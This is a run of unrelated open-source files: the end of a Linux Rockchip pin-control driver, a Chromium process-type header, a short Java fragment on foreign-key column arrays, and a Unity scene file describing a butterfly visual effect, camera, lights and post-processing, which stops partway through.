rockchip_pin_bank rk3228_pin_banks[] = { PIN_BANK(0, 32, "gpio0"), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), PIN_BANK(3, 32, "gpio3"), }; static struct rockchip_pin_ctrl rk3228_pin_ctrl = { .pin_banks = rk3228_pin_banks, .nr_banks = ARRAY_SIZE(rk3228_pin_banks), .label = "RK3228-GPIO", .type = RK3288, .grf_mux_offset = 0x0, .iomux_routes = rk3228_mux_route_data, .niomux_routes = ARRAY_SIZE(rk3228_mux_route_data), .pull_calc_reg = rk3228_calc_pull_reg_and_bit, .drv_calc_reg = rk3228_calc_drv_reg_and_bit, }; static struct rockchip_pin_bank rk3288_pin_banks[] = { PIN_BANK_IOMUX_FLAGS(0, 24, "gpio0", IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_UNROUTED ), PIN_BANK_IOMUX_FLAGS(1, 32, "gpio1", IOMUX_UNROUTED, IOMUX_UNROUTED, IOMUX_UNROUTED, 0 ), PIN_BANK_IOMUX_FLAGS(2, 32, "gpio2", 0, 0, 0, IOMUX_UNROUTED), PIN_BANK_IOMUX_FLAGS(3, 32, "gpio3", 0, 0, 0, IOMUX_WIDTH_4BIT), PIN_BANK_IOMUX_FLAGS(4, 32, "gpio4", IOMUX_WIDTH_4BIT, IOMUX_WIDTH_4BIT, 0, 0 ), PIN_BANK_IOMUX_FLAGS(5, 32, "gpio5", IOMUX_UNROUTED, 0, 0, IOMUX_UNROUTED ), PIN_BANK_IOMUX_FLAGS(6, 32, "gpio6", 0, 0, 0, IOMUX_UNROUTED), PIN_BANK_IOMUX_FLAGS(7, 32, "gpio7", 0, 0, IOMUX_WIDTH_4BIT, IOMUX_UNROUTED ), PIN_BANK(8, 16, "gpio8"), }; static struct rockchip_pin_ctrl rk3288_pin_ctrl = { .pin_banks = rk3288_pin_banks, .nr_banks = ARRAY_SIZE(rk3288_pin_banks), .label = "RK3288-GPIO", .type = RK3288, .grf_mux_offset = 0x0, .pmu_mux_offset = 0x84, .pull_calc_reg = rk3288_calc_pull_reg_and_bit, .drv_calc_reg = rk3288_calc_drv_reg_and_bit, }; static struct rockchip_pin_bank rk3328_pin_banks[] = { PIN_BANK_IOMUX_FLAGS(0, 32, "gpio0", 0, 0, 0, 0), PIN_BANK_IOMUX_FLAGS(1, 32, "gpio1", 0, 0, 0, 0), PIN_BANK_IOMUX_FLAGS(2, 32, "gpio2", 0, IOMUX_WIDTH_3BIT, IOMUX_WIDTH_3BIT, 0), PIN_BANK_IOMUX_FLAGS(3, 32, "gpio3", IOMUX_WIDTH_3BIT, IOMUX_WIDTH_3BIT, 0, 0), }; static struct rockchip_pin_ctrl rk3328_pin_ctrl = { .pin_banks = rk3328_pin_banks, .nr_banks = ARRAY_SIZE(rk3328_pin_banks), .label = "RK3328-GPIO", .type = RK3288, .grf_mux_offset = 0x0, .iomux_recalced = rk3328_mux_recalced_data, .niomux_recalced = ARRAY_SIZE(rk3328_mux_recalced_data), .iomux_routes = rk3328_mux_route_data, .niomux_routes = ARRAY_SIZE(rk3328_mux_route_data), .pull_calc_reg = rk3228_calc_pull_reg_and_bit, .drv_calc_reg = rk3228_calc_drv_reg_and_bit, .schmitt_calc_reg = rk3328_calc_schmitt_reg_and_bit, }; static struct rockchip_pin_bank rk3368_pin_banks[] = { PIN_BANK_IOMUX_FLAGS(0, 32, "gpio0", IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU ), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), PIN_BANK(3, 32, "gpio3"), }; static struct rockchip_pin_ctrl rk3368_pin_ctrl = { .pin_banks = rk3368_pin_banks, .nr_banks = ARRAY_SIZE(rk3368_pin_banks), .label = "RK3368-GPIO", .type = RK3368, .grf_mux_offset = 0x0, .pmu_mux_offset = 0x0, .pull_calc_reg = rk3368_calc_pull_reg_and_bit, .drv_calc_reg = rk3368_calc_drv_reg_and_bit, }; static struct rockchip_pin_bank rk3399_pin_banks[] = { PIN_BANK_IOMUX_FLAGS_DRV_FLAGS_OFFSET_PULL_FLAGS(0, 32, "gpio0", IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, DRV_TYPE_IO_1V8_ONLY, DRV_TYPE_IO_1V8_ONLY, DRV_TYPE_IO_DEFAULT, DRV_TYPE_IO_DEFAULT, 0x0, 0x8, -1, -1, PULL_TYPE_IO_1V8_ONLY, PULL_TYPE_IO_1V8_ONLY, PULL_TYPE_IO_DEFAULT, PULL_TYPE_IO_DEFAULT ), PIN_BANK_IOMUX_DRV_FLAGS_OFFSET(1, 32, "gpio1", IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_OR_3V0, 0x20, 0x28, 0x30, 0x38 ), PIN_BANK_DRV_FLAGS_PULL_FLAGS(2, 32, "gpio2", DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_ONLY, DRV_TYPE_IO_1V8_ONLY, PULL_TYPE_IO_DEFAULT, PULL_TYPE_IO_DEFAULT, PULL_TYPE_IO_1V8_ONLY, PULL_TYPE_IO_1V8_ONLY ), PIN_BANK_DRV_FLAGS(3, 32, "gpio3", DRV_TYPE_IO_3V3_ONLY, DRV_TYPE_IO_3V3_ONLY, DRV_TYPE_IO_3V3_ONLY, DRV_TYPE_IO_1V8_OR_3V0 ), PIN_BANK_DRV_FLAGS(4, 32, "gpio4", DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_3V0_AUTO, DRV_TYPE_IO_1V8_OR_3V0, DRV_TYPE_IO_1V8_OR_3V0 ), }; static struct rockchip_pin_ctrl rk3399_pin_ctrl = { .pin_banks = rk3399_pin_banks, .nr_banks = ARRAY_SIZE(rk3399_pin_banks), .label = "RK3399-GPIO", .type = RK3399, .grf_mux_offset = 0xe000, .pmu_mux_offset = 0x0, .grf_drv_offset = 0xe100, .pmu_drv_offset = 0x80, .iomux_routes = rk3399_mux_route_data, .niomux_routes = ARRAY_SIZE(rk3399_mux_route_data), .pull_calc_reg = rk3399_calc_pull_reg_and_bit, .drv_calc_reg = rk3399_calc_drv_reg_and_bit, }; static const struct of_device_id rockchip_pinctrl_dt_match[] = { { .compatible = "rockchip,rv1108-pinctrl", .data = &rv1108_pin_ctrl }, { .compatible = "rockchip,rk2928-pinctrl", .data = &rk2928_pin_ctrl }, { .compatible = "rockchip,rk3036-pinctrl", .data = &rk3036_pin_ctrl }, { .compatible = "rockchip,rk3066a-pinctrl", .data = &rk3066a_pin_ctrl }, { .compatible = "rockchip,rk3066b-pinctrl", .data = &rk3066b_pin_ctrl }, { .compatible = "rockchip,rk3128-pinctrl", .data = (void *)&rk3128_pin_ctrl }, { .compatible = "rockchip,rk3188-pinctrl", .data = &rk3188_pin_ctrl }, { .compatible = "rockchip,rk3228-pinctrl", .data = &rk3228_pin_ctrl }, { .compatible = "rockchip,rk3288-pinctrl", .data = &rk3288_pin_ctrl }, { .compatible = "rockchip,rk3328-pinctrl", .data = &rk3328_pin_ctrl }, { .compatible = "rockchip,rk3368-pinctrl", .data = &rk3368_pin_ctrl }, { .compatible = "rockchip,rk3399-pinctrl", .data = &rk3399_pin_ctrl }, {}, }; static struct platform_driver rockchip_pinctrl_driver = { .probe = rockchip_pinctrl_probe, .driver = { .name = "rockchip-pinctrl", .pm = &rockchip_pinctrl_dev_pm_ops, .of_match_table = rockchip_pinctrl_dt_match, }, }; static int __init rockchip_pinctrl_drv_register(void) { return platform_driver_register(&rockchip_pinctrl_driver); } postcore_initcall(rockchip_pinctrl_drv_register);
{ "pile_set_name": "Github" }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CONTENT_PUBLIC_COMMON_PROCESS_TYPE_H_ #define CONTENT_PUBLIC_COMMON_PROCESS_TYPE_H_ #include <string> #include "content/common/content_export.h" namespace content { // Defines the different process types. // NOTE: Do not remove or reorder the elements in this enum, and only add new // items at the end, right before PROCESS_TYPE_MAX. We depend on these specific // values in histograms. enum ProcessType { PROCESS_TYPE_UNKNOWN = 1, PROCESS_TYPE_BROWSER, PROCESS_TYPE_RENDERER, PROCESS_TYPE_PLUGIN_DEPRECATED, PROCESS_TYPE_WORKER_DEPRECATED, PROCESS_TYPE_UTILITY, PROCESS_TYPE_ZYGOTE, PROCESS_TYPE_SANDBOX_HELPER, PROCESS_TYPE_GPU, PROCESS_TYPE_PPAPI_PLUGIN, PROCESS_TYPE_PPAPI_BROKER, #if defined(USE_GSTREAMER) PROCESS_TYPE_MEDIA, #endif // Custom process types used by the embedder should start from here. PROCESS_TYPE_CONTENT_END, // If any embedder has more than 10 custom process types, update this. // We can switch to getting it from ContentClient, but that seems like // overkill at this time. PROCESS_TYPE_MAX = PROCESS_TYPE_CONTENT_END + 10, }; // Returns an English name of the process type, should only be used for non // user-visible strings or debugging pages. CONTENT_EXPORT std::string GetProcessTypeNameInEnglish(int type); } // namespace content #endif // CONTENT_PUBLIC_COMMON_PROCESS_TYPE_H_
{ "pile_set_name": "Github" }
/* fredt - in FK constraints column lists for iColMain and iColRef have identical sets to visible columns of iMain and iRef respectively but the order of columns can be different and must be preserved */ core.mainColArray = mainCols; core.colLen = core.mainColArray.length; core.refColArray = refCols;
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!29 &1 OcclusionCullingSettings: m_ObjectHideFlags: 0 serializedVersion: 2 m_OcclusionBakeSettings: smallestOccluder: 5 smallestHole: 0.25 backfaceThreshold: 100 m_SceneGUID: 00000000000000000000000000000000 m_OcclusionCullingData: {fileID: 0} --- !u!104 &2 RenderSettings: m_ObjectHideFlags: 0 serializedVersion: 9 m_Fog: 0 m_FogColor: {r: 0.5, g: 0.5, b: 0.5, a: 1} m_FogMode: 3 m_FogDensity: 0.01 m_LinearFogStart: 0 m_LinearFogEnd: 300 m_AmbientSkyColor: {r: 0.212, g: 0.227, b: 0.259, a: 1} m_AmbientEquatorColor: {r: 0.114, g: 0.125, b: 0.133, a: 1} m_AmbientGroundColor: {r: 0.047, g: 0.043, b: 0.035, a: 1} m_AmbientIntensity: 1 m_AmbientMode: 0 m_SubtractiveShadowColor: {r: 0.42, g: 0.478, b: 0.627, a: 1} m_SkyboxMaterial: {fileID: 0} m_HaloStrength: 0.5 m_FlareStrength: 1 m_FlareFadeSpeed: 3 m_HaloTexture: {fileID: 0} m_SpotCookie: {fileID: 10001, guid: 0000000000000000e000000000000000, type: 0} m_DefaultReflectionMode: 0 m_DefaultReflectionResolution: 128 m_ReflectionBounces: 1 m_ReflectionIntensity: 1 m_CustomReflection: {fileID: 0} m_Sun: {fileID: 0} m_IndirectSpecularColor: {r: 0.10654913, g: 0.068333946, b: 0.01175242, a: 1} m_UseRadianceAmbientProbe: 0 --- !u!157 &3 LightmapSettings: m_ObjectHideFlags: 0 serializedVersion: 11 m_GIWorkflowMode: 0 m_GISettings: serializedVersion: 2 m_BounceScale: 1 m_IndirectOutputScale: 1 m_AlbedoBoost: 1 m_EnvironmentLightingMode: 0 m_EnableBakedLightmaps: 1 m_EnableRealtimeLightmaps: 1 m_LightmapEditorSettings: serializedVersion: 12 m_Resolution: 2 m_BakeResolution: 40 m_AtlasSize: 1024 m_AO: 0 m_AOMaxDistance: 1 m_CompAOExponent: 1 m_CompAOExponentDirect: 0 m_ExtractAmbientOcclusion: 0 m_Padding: 2 m_LightmapParameters: {fileID: 0} m_LightmapsBakeMode: 1 m_TextureCompression: 1 m_FinalGather: 0 m_FinalGatherFiltering: 1 m_FinalGatherRayCount: 256 m_ReflectionCompression: 2 m_MixedBakeMode: 2 m_BakeBackend: 0 m_PVRSampling: 1 m_PVRDirectSampleCount: 32 m_PVRSampleCount: 500 m_PVRBounces: 2 m_PVREnvironmentSampleCount: 500 m_PVREnvironmentReferencePointCount: 2048 m_PVRFilteringMode: 2 m_PVRDenoiserTypeDirect: 0 m_PVRDenoiserTypeIndirect: 0 m_PVRDenoiserTypeAO: 0 m_PVRFilterTypeDirect: 0 m_PVRFilterTypeIndirect: 0 m_PVRFilterTypeAO: 0 m_PVREnvironmentMIS: 0 m_PVRCulling: 1 m_PVRFilteringGaussRadiusDirect: 1 m_PVRFilteringGaussRadiusIndirect: 5 m_PVRFilteringGaussRadiusAO: 2 m_PVRFilteringAtrousPositionSigmaDirect: 0.5 m_PVRFilteringAtrousPositionSigmaIndirect: 2 m_PVRFilteringAtrousPositionSigmaAO: 1 m_ExportTrainingData: 0 m_TrainingDataDestination: TrainingData m_LightProbeSampleCountMultiplier: 4 m_LightingDataAsset: {fileID: 0} m_UseShadowmask: 1 --- !u!196 &4 NavMeshSettings: serializedVersion: 2 m_ObjectHideFlags: 0 m_BuildSettings: serializedVersion: 2 agentTypeID: 0 agentRadius: 0.5 agentHeight: 2 agentSlope: 45 agentClimb: 0.4 ledgeDropHeight: 0 maxJumpAcrossDistance: 0 minRegionArea: 2 manualCellSize: 0 cellSize: 0.16666667 manualTileSize: 0 tileSize: 256 accuratePlacement: 0 debug: m_Flags: 0 m_NavMeshData: {fileID: 0} --- !u!1 &176819626 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 176819628} - component: {fileID: 176819627} - component: {fileID: 176819629} m_Layer: 0 m_Name: 'Visual Effect : Butterflies' m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!2083052967 &176819627 VisualEffect: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 176819626} m_Enabled: 1 m_Asset: {fileID: 8926484042661614526, guid: 31a36ae9bcf274f4b8939d7bbb397e78, type: 3} m_InitialEventName: OnPlay m_InitialEventNameOverriden: 0 m_StartSeed: 1266205047 m_ResetSeedOnPlay: 1 m_PropertySheet: m_Float: m_Array: - m_Value: 0.04 m_Name: FlapAmplitude m_Overridden: 0 - m_Value: 1 m_Name: MaximumVelocity m_Overridden: 0 - m_Value: 12 m_Name: TiltAngle m_Overridden: 0 m_Vector2f: m_Array: - m_Value: {x: 20, y: 0} m_Name: FlapMinMaxAngle m_Overridden: 0 - m_Value: {x: 22, y: 0} m_Name: FlapMinMaxSpeed m_Overridden: 0 m_Vector3f: m_Array: [] m_Vector4f: m_Array: [] m_Uint: m_Array: [] m_Int: m_Array: [] m_Matrix4x4f: m_Array: [] m_AnimationCurve: m_Array: [] m_Gradient: m_Array: [] m_NamedObject: m_Array: [] m_Bool: m_Array: [] --- !u!4 &176819628 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 176819626} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 8 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!73398921 &176819629 VFXRenderer: m_ObjectHideFlags: 2 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 176819626} m_Enabled: 1 m_CastShadows: 1 m_ReceiveShadows: 0 m_DynamicOccludee: 1 m_MotionVectors: 1 m_LightProbeUsage: 0 m_ReflectionProbeUsage: 0 m_RayTracingMode: 0 m_RenderingLayerMask: 1 m_RendererPriority: 0 m_Materials: - {fileID: 0} - {fileID: 0} - {fileID: 0} m_StaticBatchInfo: firstSubMesh: 0 subMeshCount: 0 m_StaticBatchRoot: {fileID: 0} m_ProbeAnchor: {fileID: 0} m_LightProbeVolumeOverride: {fileID: 0} m_ScaleInLightmap: 1 m_ReceiveGI: 1 m_PreserveUVs: 0 m_IgnoreNormalsForChartDetection: 0 m_ImportantGI: 0 m_StitchLightmapSeams: 0 m_SelectedEditorRenderState: 3 m_MinimumChartSize: 4 m_AutoUVMaxDistance: 0.5 m_AutoUVMaxAngle: 89 m_LightmapParameters: {fileID: 0} m_SortingLayerID: 0 m_SortingLayer: 0 m_SortingOrder: 0 --- !u!1 &416265982 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 416265986} - component: {fileID: 416265985} - component: {fileID: 416265984} - component: {fileID: 416265983} m_Layer: 0 m_Name: Plane m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!64 &416265983 MeshCollider: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 416265982} m_Material: {fileID: 0} m_IsTrigger: 0 m_Enabled: 1 serializedVersion: 3 m_Convex: 0 m_CookingOptions: 14 m_Mesh: {fileID: 10209, guid: 0000000000000000e000000000000000, type: 0} --- !u!23 &416265984 MeshRenderer: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 416265982} m_Enabled: 1 m_CastShadows: 1 m_ReceiveShadows: 1 m_DynamicOccludee: 1 m_MotionVectors: 1 m_LightProbeUsage: 1 m_ReflectionProbeUsage: 1 m_RayTracingMode: 2 m_RenderingLayerMask: 1 m_RendererPriority: 0 m_Materials: - {fileID: 2100000, guid: 73c176f402d2c2f4d929aa5da7585d17, type: 2} m_StaticBatchInfo: firstSubMesh: 0 subMeshCount: 0 m_StaticBatchRoot: {fileID: 0} m_ProbeAnchor: {fileID: 0} m_LightProbeVolumeOverride: {fileID: 0} m_ScaleInLightmap: 1 m_ReceiveGI: 1 m_PreserveUVs: 0 m_IgnoreNormalsForChartDetection: 0 m_ImportantGI: 0 m_StitchLightmapSeams: 0 m_SelectedEditorRenderState: 3 m_MinimumChartSize: 4 m_AutoUVMaxDistance: 0.5 m_AutoUVMaxAngle: 89 m_LightmapParameters: {fileID: 0} m_SortingLayerID: 0 m_SortingLayer: 0 m_SortingOrder: 0 --- !u!33 &416265985 MeshFilter: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 416265982} m_Mesh: {fileID: 10209, guid: 0000000000000000e000000000000000, type: 0} --- !u!4 &416265986 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 416265982} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0, y: -1, z: 0} m_LocalScale: {x: 12, y: 12, z: 12} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 4 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!1 &519270530 GameObject: m_ObjectHideFlags: 3 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 519270531} - component: {fileID: 519270535} - component: {fileID: 519270534} - component: {fileID: 519270533} - component: {fileID: 519270532} m_Layer: 0 m_Name: cm m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!4 &519270531 Transform: m_ObjectHideFlags: 3 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 519270530} m_LocalRotation: {x: -0, y: -0, z: -0, w: 1} m_LocalPosition: {x: -0.15638417, y: -0.19888443, z: -0.006482153} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 1281498936} m_RootOrder: 0 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!114 &519270532 MonoBehaviour: m_ObjectHideFlags: 3 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 519270530} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 68bb026fafb42b14791938953eaace77, type: 3} m_Name: m_EditorClassIdentifier: m_NoiseProfile: {fileID: 11400000, guid: 8608ec81ee27a15488d33f9dad239e91, type: 2} m_PivotOffset: {x: 0, y: 0, z: 0} m_AmplitudeGain: 1 m_FrequencyGain: 1 mNoiseOffsets: {x: 0, y: 0, z: 0} --- !u!114 &519270533 MonoBehaviour: m_ObjectHideFlags: 3 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 519270530} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: fa7155796051b734daa718462081dc5f, type: 3} m_Name: m_EditorClassIdentifier: m_BindingMode: 1 m_FollowOffset: {x: 0, y: 0, z: -10} m_XDamping: 1 m_YDamping: 1 m_ZDamping: 1 m_AngularDampingMode: 0 m_PitchDamping: 0 m_YawDamping: 0 m_RollDamping: 0 m_AngularDamping: 0 --- !u!114 &519270534 MonoBehaviour: m_ObjectHideFlags: 3 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 519270530} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: f4044717213e31446939f7bd49c896ea, type: 3} m_Name: m_EditorClassIdentifier: m_TrackedObjectOffset: {x: 0, y: 0, z: 0} m_LookaheadTime: 0 m_LookaheadSmoothing: 10 m_LookaheadIgnoreY: 0 m_HorizontalDamping: 0.5 m_VerticalDamping: 0.5 m_ScreenX: 0.5 m_ScreenY: 0.5 m_DeadZoneWidth: 0 m_DeadZoneHeight: 0 m_SoftZoneWidth: 0.8 m_SoftZoneHeight: 0.8 m_BiasX: 0 m_BiasY: 0 m_CenterOnActivate: 1 --- !u!114 &519270535 MonoBehaviour: m_ObjectHideFlags: 3 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 519270530} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: ac0b09e7857660247b1477e93731de29, type: 3} m_Name: m_EditorClassIdentifier: --- !u!1 &756443336 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 756443339} - component: {fileID: 756443337} m_Layer: 0 m_Name: Post-process m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!114 &756443337 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 756443336} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 172515602e62fb746b5d573b38a5fe58, type: 3} m_Name: m_EditorClassIdentifier: isGlobal: 1 priority: 0 blendDistance: 0 weight: 1 sharedProfile: {fileID: 11400000, guid: 75d98e4be27ff6645b957ca6bedef372, type: 2} --- !u!4 &756443339 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 756443336} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 3 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} --- !u!1 &1011816900 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 1011816904} - component: {fileID: 1011816903} - component: {fileID: 1011816902} m_Layer: 0 m_Name: Point Light Orange m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!114 &1011816902 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1011816900} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 7a68c43fe1f2a47cfa234b5eeaa98012, type: 3} m_Name: m_EditorClassIdentifier: m_Version: 9 m_ObsoleteShadowResolutionTier: 1 m_ObsoleteUseShadowQualitySettings: 0 m_ObsoleteCustomShadowResolution: 512 m_ObsoleteContactShadows: 0 m_PointlightHDType: 0 m_SpotLightShape: 0 m_AreaLightShape: 0 m_Intensity: 512 m_EnableSpotReflector: 0 m_LuxAtDistance: 1 m_InnerSpotPercent: 0 m_LightDimmer: 1 m_VolumetricDimmer: 1 m_LightUnit: 0 m_FadeDistance: 10000 m_AffectDiffuse: 1 m_AffectSpecular: 1 m_NonLightmappedOnly: 0 m_ShapeWidth: 0.5 m_ShapeHeight: 0.5 m_AspectRatio: 1 m_ShapeRadius: 0 m_SoftnessScale: 1 m_UseCustomSpotLightShadowCone: 0 m_CustomSpotLightShadowCone: 30 m_MaxSmoothness: 1 m_ApplyRangeAttenuation: 1 m_DisplayAreaLightEmissiveMesh: 0 m_AreaLightCookie: {fileID: 0} m_AreaLightShadowCone: 120 m_UseScreenSpaceShadows: 0 m_InteractsWithSky: 1 m_AngularDiameter: 0 m_FlareSize: 2 m_FlareTint: {r: 1, g: 1, b: 1, a: 1} m_FlareFalloff: 4 m_SurfaceTexture: {fileID: 0} m_SurfaceTint: {r: 1, g: 1, b: 1, a: 1} m_Distance: 150000000 m_UseRayTracedShadows: 0 m_NumRayTracingSamples: 4 m_FilterTracedShadow: 1 m_FilterSizeTraced: 16 m_SunLightConeAngle: 0.5 m_LightShadowRadius: 0.5 m_EvsmExponent: 15 m_EvsmLightLeakBias: 0 m_EvsmVarianceBias: 0.00001 m_EvsmBlurPasses: 0 m_LightlayersMask: 1 m_LinkShadowLayers: 1 m_ShadowNearPlane: 0.2 m_BlockerSampleCount: 24 m_FilterSampleCount: 16 m_MinFilterSize: 0.01 m_KernelSize: 5 m_LightAngle: 1 m_MaxDepthBias: 0.001 m_ShadowResolution: m_Override: 512 m_UseOverride: 1 m_Level: 1 m_ShadowDimmer: 1 m_VolumetricShadowDimmer: 1 m_ShadowFadeDistance: 10000 m_UseContactShadow: m_Override: 0 m_UseOverride: 1 m_Level: 0 m_RayTracedContactShadow: 0 m_ShadowTint: {r: 0, g: 0, b: 0, a: 1} m_PenumbraTint: 0 m_NormalBias: 0.75 m_SlopeBias: 0.5 m_ShadowUpdateMode: 0 m_BarnDoorAngle: 90 m_BarnDoorLength: 0.05 m_ShadowCascadeRatios: - 0.05 - 0.2 - 0.3 m_ShadowCascadeBorders: - 0.2 - 0.2 - 0.2 - 0.2 m_ShadowAlgorithm: 0 m_ShadowVariant: 0 m_ShadowPrecision: 0 useOldInspector: 0 useVolumetric: 1 featuresFoldout: 1 showAdditionalSettings: 0 --- !u!108 &1011816903 Light: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 1011816900} m_Enabled: 1 serializedVersion: 10 m_Type: 2 m_Shape: 0 m_Color: {r: 1, g: 0.5152213, b: 0, a: 1} m_Intensity: 40.743664 m_Range: 10 m_SpotAngle: 30 m_InnerSpotAngle: 21.80208 m_CookieSize: 10 m_Shadows: m_Type: 0 m_Resolution: -1 m_CustomResolution: -1 m_Strength: 1 m_Bias: 0.05 m_NormalBias: 0.4 m_NearPlane: 0.2 m_CullingMatrixOverride: e00: 1 e01: 0 e02: 0 e03: 0 e10: 0 e11: 1 e12: 0 e13: 0 e20: 0 e21: 0 e22: 1 e23: 0 e30: 0 e31: 0 e32: 0 e33: 1 m_UseCullingMatrixOverride: 0 m_Cookie: {fileID: 0} m_DrawHalo: 0 m_Flare: {fileID: 0} m_RenderMode: 0 m_CullingMask: serializedVersion: 2 m_Bits: 4294967295 m_RenderingLayerMask: 1 m_Lightmapping: 4 m_LightShadowCasterMode: 2 m_AreaSize: {x: 1, y: 1} m_BounceIntensity: 1 m_ColorTemperature: 6570 m_UseColorTemperature: 0 m_BoundingSphereOverride: {x: 0, y: 0, z: 0, w: 0} m_UseBoundingSphereOverride: 0 m_ShadowRadius: 0 m_ShadowAngle: 0 --- !u!4 &1011816904 Transform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: 